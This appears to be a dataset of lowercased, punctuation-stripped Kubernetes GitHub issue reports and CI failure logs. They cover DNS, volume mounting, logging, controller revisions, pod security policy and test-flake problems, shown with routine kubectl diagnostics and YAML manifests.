https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-serial/1964/  failed:  k8s.io  daemon set  serial  should run and stop complex daemon with node affinity {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:265 expected error:     < errors.statuserror | 0xc82179c700>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server has prevented the request from succeeding  post daemonsets.extensions \ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ extensions\ ,                 kind: \ daemonsets\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /apis/extensions/v1beta1/namespaces/e2e-tests-daemonsets-zslo3/daemonsets\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server has prevented the request from succeeding  post daemonsets.extensions  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:240

hi all! i've install kube-dns:v19, when i create new container , /etc/resolv.conf  have not been altered.      kubectl cluster-info kubernetes master is running at http://localhost:8080 kubedns is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/kube-dns          kubectl get componentstatuses name                 status    message              error controller-manager   healthy   ok                    scheduler            healthy   ok                    etcd-0               healthy   {\ health\ : \ true\ }           kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ clean\ , builddate:\ 2016-08-11t20:29:08z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ clean\ , builddate:\ 2016-08-11t20:21:58z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }          kubectl --namespace=kube-system exec -ti kube-dns-v19-jlv63 -c kubedns -- nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 server:    127.0.0.1 address 1: 127.0.0.1 localhost  name:      kubernetes.default.svc.cluster.local address 1: 192.168.2.1 kubernetes.default.svc.cluster.local          kubectl  --namespace kube-system get svc name       cluster-ip    external-ip   port s          age kube-dns   192.168.2.2   <none>        53/udp,53/tcp   49m          /opt/kubernetes/bin/kubelet --logtostderr=true --v=4 --address=10.8.23.74 --port=10250 --hostname-override=10.8.23.74 --api-servers=10.8.28.164:8080 --allow-privileged=false --cluster-dns=192.168.2.2 --cluster-domain=cluster.local      when i create a new container, the /etc/resolv.conf   does not contain \ nameserver 192.168.2.2\       kubectl run jetty --image=jetty kubectl get po name                          ready     status    restarts   age jetty-1750634687-9dape        1/1       running   1          35m          kubectl exec jetty-1750634687-9dape cat /etc/resolv.conf  nameserver 10.8.255.1 nameserver 10.8.255.2 nameserver 114.114.114.114 options ndots:5

the new node/cluster serial builders have been up and running  thanks to @random-liu ! https://k8s-testgrid.appspot.com/google-node kubelet-cri-serial-gce-e2e https://k8s-testgrid.appspot.com/google-gce gci-gce-cri-serial  we need to triage and fix the failures.   /cc @kubernetes/sig-node

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :hostpath  not working\r \r ---\r \r   is this a bug report or feature request?    choose one :bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.4.5\r \r \r   environment  :\r -   cloud provider or hardware configuration  : amazon ec2\r -   os    e.g. from /etc/os-release : linux\r -   kernel    e.g.  uname -a  :linux\r -   install tools  :\r -   others  :\r \r \r   what happened  : kubernetes hostpath on aws ec2 volumn is not working\r \r \r   what you expected to happen  :  i have some file in host vm which i would like to use in pods, but in pods is not sync those file.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r i am using kubernetes in aws ec2 i want to use ec2 instance directory  which has some properties file   in pods, so i have below yml file.\r \r    \r  ec2-user@ip-xxx-xx-xx-xx symtmp $ pwd\r /symtmp\r  ec2-user@ip-xxx-xx-xx-xx symtmp $ ls\r head.properties\r  ec2-user@ip-xxx-xx-xx-xx symtmp $\r    \r \r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: symserver\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: symserver\r     spec:\r       volumes:\r       - name: symtmp\r         hostpath:\r           path: /symtmp\r       containers:\r       - name: symserver\r         image:symserver:latest\r         env:\r         - name: java_opts\r           value: ddatabase.url=amazonaws.com\r         ports:\r         - containerport: 8080\r         volumemounts:\r         - name: symtmp\r           mountpath: /symtmp\r       securitycontext:\r         fsgroup: 1234\r         supplementalgroups:  5678 \r         selinuxoptions:\r           level: \ s0:c123,c456\ \r    \r \r but look like its no working i have logged in to pods to see if file is copied or not.\r \r    \r  ec2-user@ip-xxx-xx-xx-xx symtmp $ kubectl exec -ti symserver -                                                                            - sh\r   pwd\r /symtmp\r   ls\r  \r    \r \r i am not sure why hostpath is no working directory is getting created in pod but i cant get the file in pods.\r \r   anything else do we need to know  :\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-container_vm-1.3-gci-1.5-upgrade-cluster-new/419/  failed: upgradetest {e2e.go}      error running upgrade ginkgo tests: exit status 1

\r \r   is this a bug report or feature request?    choose one :bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :v1.4.0\r \r   environment  :\r -   cloud provider or hardware configuration  : kvm\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts\r -   kernel    e.g.  uname -a  : 4.4.0-49-generic\r -   install tools  :  kubeadm  http://kubernetes.io/docs/getting-started-guides/kubeadm/ \r -   others  :\r \r \r   what happened  :\r \r   dns can't resolve google.com in a pod with resolv.conf like this:  \r    \r $ kubectl exec my-pod cat /etc/resolv.conf \r search sc.svc.cluster.local svc.cluster.local cluster.local my.domain1 my.domain2\r nameserver 100.64.0.10\r options ndots:5\r \r $ kubectl exec my-pod nslookup google.com \r nslookup: can't resolve ' null ': name does not resolve\r \r nslookup: can't resolve 'google.com': name does not resolve\r    \r \r \r   what you expected to happen  :\r \r dns works.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r in /etc/resolv.conf, the search list has at least 5 domain names, options ndots > 1\r \r   anything else do we need to know  :\r \r when google.com considered a incomplete domain name less than 2 dots , the dns try all 5 combinations,  but won't try it  google.com  as a absolute domain name.  \r

in unsafe mode conversion-gen will do a bit-level conversion of     t , even if t need a custom conversion.  in other words, the conversion code for t will not be called.\r \r it does correctly recognize    t \r \r changing the conversion-gen code to go back to unsafe mode will generate the correct code.\r \r cc @smarterclayton \r \r cf  38440

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : cos   container optimized image \r -   kernel    e.g.  uname -a  :\r -   install tools  : kube-up.sh\r -   others  :\r \r \r   what happened  : failed to run on new image of the old container optimized\r \r \r   what you expected to happen  : kube-up.sh to run on cos\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r https://cloud.google.com/container-optimized-os/docs/how-to/run-container-instance running_a_kubernetes_cluster\r \r \r   anything else we need to know  :\r \r looks like a few variables need update:\r https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/util.sh l26

kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r unable to connect to the server: bad gateway\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack  unknown version \r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  : 4.4.0-28-generic\r -   install tools  : kubeadm\r \r   what happened  :\r \r cinder volume does not mount\r \r   what you expected to happen  :\r \r cinder volume does mount\r \r   how to reproduce it    as minimally and precisely as possible :\r \r i'm trying to fire up sample mysql pod with cinder pd  https://github.com/kubernetes/kubernetes/tree/master/examples/mysql-cinder-pd .\r \r i have created the volume:\r \r     $ cinder show fa4d4dee-9f44-4191-ab88-8ef8d1d6b2dc\r     +------------------------------+--------------------------------------+\r     |           property           |                value                 |\r     +------------------------------+--------------------------------------+\r     |         attachments          |                                      |\r     |      availability_zone       |                 nova                 |\r     |           bootable           |                false                 |\r     |     consistencygroup_id      |                 none                 |\r     |          created_at          |      2017-05-02t08:12:32.000000      |\r     |         description          |                 none                 |\r     |          encrypted           |                false                 |\r     |              id              | fa4d4dee-9f44-4191-ab88-8ef8d1d6b2dc |\r     |           metadata           |                  {}                  |\r     |         multiattach          |                false                 |\r     |             name             |             k8s-test-pd              |\r     | os-vol-tenant-attr:tenant_id |   4a7d3b5645254117af1d36c4eb5201a5   |\r     |      replication_status      |               disabled               |\r     |             size             |                  2                   |\r     |         snapshot_id          |                 none                 |\r     |         source_volid         |                 none                 |\r     |            status            |              available               |\r     |          updated_at          |      2017-05-02t08:12:33.000000      |\r     |           user_id            |   11c0fd1d2a3a475aaeb31f1f637c2f91   |\r     |         volume_type          |                 none                 |\r     +------------------------------+--------------------------------------+\r \r and modified the volumeid in sample yaml.\r \r pod does not come up and  describe pod  operation returns\r \r     events:\r     firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r       ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t-------\r       13m\t\t13m\t\t1\t{default-scheduler }\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned mysql to mm-kube-slave-1\r       11m\t\t16s\t\t6\t{kubelet mm-kube-slave-1}\t\t\twarning\t\tfailedmount\tunable to mount volumes for pod \ mysql_default 9ca3450e-2f32-11e7-b455-fa163ed6d9bd \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ mysql\ . list of unattached/unmounted volumes= mysql-persistent-storage \r       11m\t\t16s\t\t6\t{kubelet mm-kube-slave-1}\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ mysql\ . list of unattached/unmounted volumes= mysql-persistent-storage \r \r and syslog on my only minion  where the pod is scheduled  says:\r \r     may  2 12:37:29 mm-kube-slave-1 kubelet 1979 : i0502 12:37:29.573805    1979 reconciler.go:231  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/cinder/fa4d4dee-9f44-4191-ab88-8ef8d1d6b2dc\   spec.name: \ mysql-persistent-storage\   pod \ 9ca3450e-2f32-11e7-b455-fa163ed6d9bd\   uid: \ 9ca3450e-2f32-11e7-b455-fa163ed6d9bd\  \r     may  2 12:37:29 mm-kube-slave-1 kubelet 1979 : e0502 12:37:29.577353    1979 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/cinder/fa4d4dee-9f44-4191-ab88-8ef8d1d6b2dc\\\ \  failed. no retries permitted until 2017-05-02 12:39:29.577306663 +0000 utc  durationbeforeretry 2m0s . error: volume \ kubernetes.io/cinder/fa4d4dee-9f44-4191-ab88-8ef8d1d6b2dc\   spec.name: \ mysql-persistent-storage\   pod \ 9ca3450e-2f32-11e7-b455-fa163ed6d9bd\   uid: \ 9ca3450e-2f32-11e7-b455-fa163ed6d9bd\   is not yet attached according to node status\r     may  2 12:37:42 mm-kube-slave-1 kubelet 1979 : e0502 12:37:42.602080    1979 kubelet.go:1549  unable to mount volumes for pod \ mysql_default 9ca3450e-2f32-11e7-b455-fa163ed6d9bd \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ mysql\ . list of unattached/unmounted volumes= mysql-persistent-storage ; skipping pod\r     may  2 12:37:42 mm-kube-slave-1 kubelet 1979 : e0502 12:37:42.602697    1979 pod_workers.go:182  error syncing pod 9ca3450e-2f32-11e7-b455-fa163ed6d9bd  \ mysql_default 9ca3450e-2f32-11e7-b455-fa163ed6d9bd \  , skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ mysql\ . list of unattached/unmounted volumes= mysql-persistent-storage \r \r any hint what is wrong? i have set up k8s 1.6.2 using kubeadm with openstack provider  correct openstack configuration present and  --cloud-provider  parameters passed to the kubelet. ubuntu xenial with docker  17.04.0-ce .\r

1.6.6 shifted the fluentd-gcp image from 2.0.2 to 2.0.5. this seems to have broken the json detection from stdout. using 2.0.2 the logs are parsed into jsonpayload, however for 2.0.5 they are passed into textpayload.\r \r reproduction steps:\r 1. create a gke cluster with master version 1.6.4\r 2. deploy a dummy pod to echo some json to stdout:\r    \r  apiversion: v1\r     kind: pod\r     metadata:\r       name: blabbermouth\r     spec:\r       containers:\r       - name: busybox\r         image: gcr.io/google-containers/busybox\r         command:  'sh', '-c', 'while :; do echo \ {\\\ severity\\\ : \\\ info\\\ , \\\ message\\\ : \\\ test\\\ }\ ; sleep 5; done' \r    \r 3. lookup container logs in stackdriver: resource.type=\ container\  and resource.labels.container_name=\ busybox\ \r 4. observe that jsonpayload field of each logentry is populated with the app's output json\r 5. upgrade the gke master to 1.6.6.\r 6. observe that the log query in 4 now shows each logentry with the output in a textpayload.\r \r \r cc: @jlowdermilk @crassirostris @piosz

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r in certain large cluster scenarios we would like to anticipate kubelet behavior hitting request limits, and backoff in response. e.g.,\r \r    \r jul 14 21:21:09 <redacted> docker 1561 : i0714 21:21:09.559480    1792 kubelet.go:1752  skipping pod synchronization -  kubelet failed to get node info: compute.virtualmachinesclient get: failure responding to request: statuscode=429 -- original error: autorest/azure: service returned an error. status=429 code=\ operationnotallowed\  message=\ the server rejected the request because too many requests have been received for this subscription.\  \r    \r \r   what you expected to happen  :\r \r this is a request for add'l backoff coverage, so nothing surprising.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r build a cluster with as many nodes as your subscription will support on azure until kubelet behavior contributes to backend api request limits.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.6.6  and  1.7.0 \r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release : ubuntu 16.04.2 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux k8s-pool7-53111115-7 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: acs-engine\r - others:\r

failure cluster  eac695523adae581eaa0  https://go.k8s.io/triage eac695523adae581eaa0        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --clean-start=true --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true: exit status 1           failure cluster statistics: 1 tests failed,    12 jobs failed,    162 builds failed. failure stats cover 1 day time range '7 sep 2017 10:43 utc' to '8 sep 2017 10:43 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 12 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-soak-gke-gci-test | 47 |  8 sep 2017 10:06 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gke-gci-test/4182  | | ci-kubernetes-soak-gce-gci-test | 47 |  8 sep 2017 10:05 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-gci-test/2466  | | ci-kubernetes-soak-gke-test | 47 |  8 sep 2017 10:02 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gke-test/4424  |   current status  https://go.k8s.io/triage eac695523adae581eaa0

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r \r when a statefulset object is created, a lot of controllerrevisions are created at the same time.\r the controllerrevisions have differenct hash value but the same data.raw.\r \r \r   how to fix it  :\r \r two controllerrevisions are seen as the same , when controllerrevision.labels controllerrevisionhashlabel  , controllerrevision.data.raw , controllerrevision.data.object are strictly the same \r \r  // this line shoud be added to fix the bug\r    \r clone.labels controllerrevisionhashlabel  = strconv.formatint int64 hash , 10 \r    \r \r like below: \r \r    \r func  rh  realhistory  createcontrollerrevision parent metav1.object, revision  apps.controllerrevision, collisioncount  int32    apps.controllerrevision, error  {\r     if collisioncount == nil {\r         return nil, fmt.errorf \ collisioncount should not be nil\  \r     }\r \r     // clone the input\r     clone := revision.deepcopy  \r \r     // continue to attempt to create the revision updating the name with a new hash on each iteration\r     for {\r         hash := hashcontrollerrevision revision, collisioncount \r         // update the revisions name and labels\r         clone.name = controllerrevisionname parent.getname  , hash \r         clone.labels controllerrevisionhashlabel  = strconv.formatint int64 hash , 10 \r         created, err := rh.client.appsv1beta1  .controllerrevisions parent.getnamespace   .create clone \r         if errors.isalreadyexists err  {\r              collisioncount++\r             continue\r         }\r         return created, err\r     }\r }\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.8\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

there is a kubernetes design pattern emerging where a controller injects a sidecar into a podspec. for example this is the model used by the  istio proxy  https://github.com/istio/proxy . if the managed sidecar requires elevated privileges beyond those used by the user-configured pod, then this poses a problem for the podsecuritypolicy.\r \r   work arounds:  \r 1. give the pod sa access to the features required by the sidecar. this limits the usefulness of the psp, since it gives the user-configured containers elevated privileges as well.\r 2. give the injecting controller sa access to elevated psp permissions. the controller also needs permissions for anything the other containers use, so in practice it would be a fully privileged psp. this also prevents the user  or any other controllers  from updating the pod, since the updated pod  which includes the injected sidecar  would be denied under the original psp.\r \r   possible solutions:  \r 1. securitypolicies bound to container specs - i.e. a way of saying that \ containers that look like x have permission to use policy y\ . this is related to the problem of delegating psp permissions  e.g. via templates used by rc/rs/ds controllers , which was previously determined to be infeasible.\r 2. securitypolicies bound to container instances - container field that says \ use this security policy\ . creation  & update  is only allowed to grant use of a policy the creator  or pod sa?  has access to  and can't be given transitively . subsequent updates can be validated using the granted security policy. this may need to require that the container does not change  e.g. to prevent swapping in a malicious image .\r 3. ??  other ideas? \r \r note that these refer to \ security policies\ , not \ podsecuritypolicies\  - for obvious reasons the pod model doesn't work here.\r \r  \r /cc @caesarxuchao - for parallels to initializers\r /cc @kubernetes/sig-auth-feature-requests \r /cc @pweil- @liggitt \r

all  %  in the field description becomes  %! missing  :\r \r    console\r $ kubectl explain deploy.spec.strategy.rollingupdate\r  ... \r fields:\r    maxsurge     <string>\r      the maximum number of pods that can be scheduled above the desired number\r      of pods. value can be an absolute number  ex: 5  or a percentage of desired\r      pods  ex: 10%!  missing .\r  ... \r    \r \r @kubernetes/sig-cli-bugs

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r \r   what happened  :\r on gce, the communication between etcd-client port and apiserver is not encrypted by mtls by default. \r \r   what you expected to happen  :\r enable mtls between etcd client and kube-apiserver on gce.\r \r   how to reproduce it  as minimally and precisely as possible   :\r cluster/kube-up.sh, kube-apiserver does not have \ etcd-cafile\ , \ etcd-certfile\  or \ etcd-keyfile\  set, and etcd does not have \ client-cert-auth\ , \ trusted-ca-file\ , \ cert-file\  or \ key-file\  set. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : \ debian gnu/linux\ \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  

i would like to run a subset of the integration tests, but that doesn't seem easy?

v6  is tagged: https://gcr.io/v2/google_containers/kube-addon-manager-amd64/tags/list  no  v6  is tagged: https://gcr.io/v2/google_containers/kube-addon-manager/tags/list  further,  kube-addon-manager-amd64:v6  doesn't seem to be actually used anywhere...

is there an issue open that flakes and e2e tests are slowing down pr submission? i have seen prs that have had developers ask the bot to retest four or five times.

in k8s 1.4, we were able to set up a symlink from  /etc/kubernetes/manifests/etcd.manifest  to a mountpoint   /mnt/etcd-volume/k8s.io/etcd.manifest  , to ensure that the pod could not be started before the volume was mounted.\r \r k8s 1.5 broke this: the inotify poller does not detect when the volume is mounted, because the inotify watch does not traverse symlinks: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/config/file_linux.go l58\r \r also:\r \r   we probably should include  in_attrib  so that users can touch the file / symlink\r   we probably need to move to fsnotify, or create our own fork of inotify, because inotify has been deleted: https://github.com/golang/exp/tree/master/inotify   it's 300 lines, mostly symbol definitions, we should probably bring it in to k8s \r   i suggest we should probably have a time based poll in addition, to catch anything the inotify misses\r   it is unsafe to ignore in_q_overflow, i believe\r \r cc @dchen1107

this is a reminder that we may have to investigate further after https://github.com/kubernetes/kubernetes/pull/40148, especially the discussing in https://github.com/kubernetes/kubernetes/pull/40148 pullrequestreview-18685838.\r \r we agreed on implementing a function that checks if multi-attach is definitely not supported or forbidden.\r currently it only checks if it's an azure disk or a persistent volume with accessmode not containing any of readwritemany or readonlymany modes. all other cases keep relying on the attacher to fail fast  this is by design .\r \r the special handling for azure was needed to avoid unnecessary delays on pod rescheduling. in this case it may happen that for a short time, there are 2 pods/nodes trying to attach/mount the same azure disk before it even tries to detach the disk from the other node. this results in expected failure in the attacher, which recovers later when the disk is detached from the other pod/node. unfortunately it takes quite some time until failure is reported by azure, delaying everything else unnecessarily.\r \r other volume types seem to fail faster and thus this goes mostly unnoticed. we should still think about this more and maybe add something to the volumes spec that indicates if multi attach is supported or not. some volume types, e.g. gce and aws, allow multi-attach on readonly volume for example. other may also support this and other may completely forbid multi-attach in any case.\r

coming from here:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-large-cluster/163\r \r    \r i0531 18:28:51.143    \u001b 91m\u001b 1mtest panicked\u001b 0m\r i0531 18:28:51.143    \u001b 91mruntime error: invalid memory address or nil pointer dereference\u001b 0m\r i0531 18:28:51.143    /usr/local/go/src/runtime/asm_amd64.s:514\r i0531 18:28:51.143  \r i0531 18:28:51.143    \u001b 91mfull stack trace\u001b 0m\r i0531 18:28:51.143    \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r i0531 18:28:51.143    k8s.io/kubernetes/test/e2e/common.  resourceconsumer .sendconsumecpurequest.func1 0x2e93740, 0xc42115c960, 0xc4211f9d3f \r i0531 18:28:51.143    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:231 +0x5f\r i0531 18:28:51.144    k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.waitfor 0xc420212780, 0xc4202f1bf0, 0xc42115c900, 0xc4212c1980, 0x35e87c1 \r i0531 18:28:51.144    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:275 +0x70\r i0531 18:28:51.144    k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollinternal 0xc420212780, 0xc4202f1bf0, 0x0, 0x0 \r i0531 18:28:51.144    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:191 +0x99\r i0531 18:28:51.144    k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollimmediateinternal 0xc420212780, 0xc4202f1bf0, 0xc420212780, 0xc4202f1bf0 \r i0531 18:28:51.145    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:216 +0x76\r i0531 18:28:51.145    k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollimmediate 0x37e11d600, 0x1bf08eb000, 0xc4202f1bf0, 0x51e3b00, 0xc421396960 \r i0531 18:28:51.145    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:205 +0x4d\r i0531 18:28:51.145    k8s.io/kubernetes/test/e2e/common.  resourceconsumer .sendconsumecpurequest 0xc4200b7710, 0x32 \r i0531 18:28:51.145    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:244 +0x1d6\r i0531 18:28:51.146    k8s.io/kubernetes/test/e2e/common.  resourceconsumer .makeconsumecpurequests 0xc4200b7710 \r i0531 18:28:51.146    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:175 +0x328\r i0531 18:28:51.146    created by k8s.io/kubernetes/test/e2e/common.newresourceconsumer\r i0531 18:28:51.146    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:137 +0x399\r    \r \r @piosz @crassirostris @mwielgus @kubernetes/sig-autoscaling-bugs

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when implementing the follow up of  46332 in  49178, i found that seccomp profile is missed in sandbox's security context. without this, we couldn't honour \ seccomp.security.alpha.kubernetes.io/pod\  for sandbox.\r \r /cc @yujuhong \r \r 

is this a bug report or feature request?  :\r  \r   what happened  :\r within the long description for  kubectl help <command>  environment variables are incorrectly rendered. output for  kubectl help edit  contains  kube _editor . it should be rendered  kube_editor   without the spurious space .\r \r   what you expected to happen  :\r \r there should not be a space in between  kube  and  _editor .\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl help edit \r \r   anything else we need to know?  :\r \r relevant files:\r   k8s.io/kubernetes/pkg/kubectl/cmd/edit.go \r   k8s.io/kubernetes/pkg/kubectl/cmd/templates/normalizers.go \r \r the long description is created using  longdesc    which calls  markdown    which calls the blackfriday library like this\r \r  formatted := blackfriday.markdown bytes, &asciirenderer{indentation: indentation}, 0  \r \r the last parameter is for extensions. passing  blackfriday.extension_no_intra_emphasis  should fix this issue however it does not. \r \r i have verified that this functionality works currently upstream. by verified i mean i verified that  extension_no_intra_emphasis  works as expected by testing the upstream  blackfriday  code, not that the upstream library fixes this issue.\r \r   going forward  :\r \r i am opening this issue because i am not sure how to go forward from here. two ideas are;\r \r 1. check whether upgrading the  blackfriday  library fixes this issue. i have no idea how to do that, that is why i am raising the issue now. i am also not entirely sure on the implications of updating vendor libraries.\r \r 2. isolate the bug in the  blackfriday  version we have and patch it.\r \r option one seems like less work but i do not entirely know the risks involved. i'm happy to keep working on this if someone please has some suggestions.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r  09:52:14  fmil@fmil:~/tmp/k8s\r $ ./script.sh \r found preexisting kubernetes.tar.gz, release v1.8.0-rc.1\r downloading kubernetes release v1.7.6\r   from https://dl.k8s.io/v1.7.6/kubernetes.tar.gz\r   to /usr/local/google/home/fmil/tmp/k8s/kubernetes.tar.gz\r is this ok?  y /n\r n\r aborting.\r \r \r   what you expected to happen  :\r i would have expected that the install script accepts the existing k8s archive and go with it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  1  download the k8s example script, save as ./script.sh\r  2  download k8s v1.8.0-rc1 next to it\r  3  start the script.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

currently detach is broken for stopped nodes in aws because stopped nodes can't be fetched in aws cloudprovider, that causes  getinstancebynodename  to throw \ node not found error\  and that in turn means detach calls silently fail.\r \r
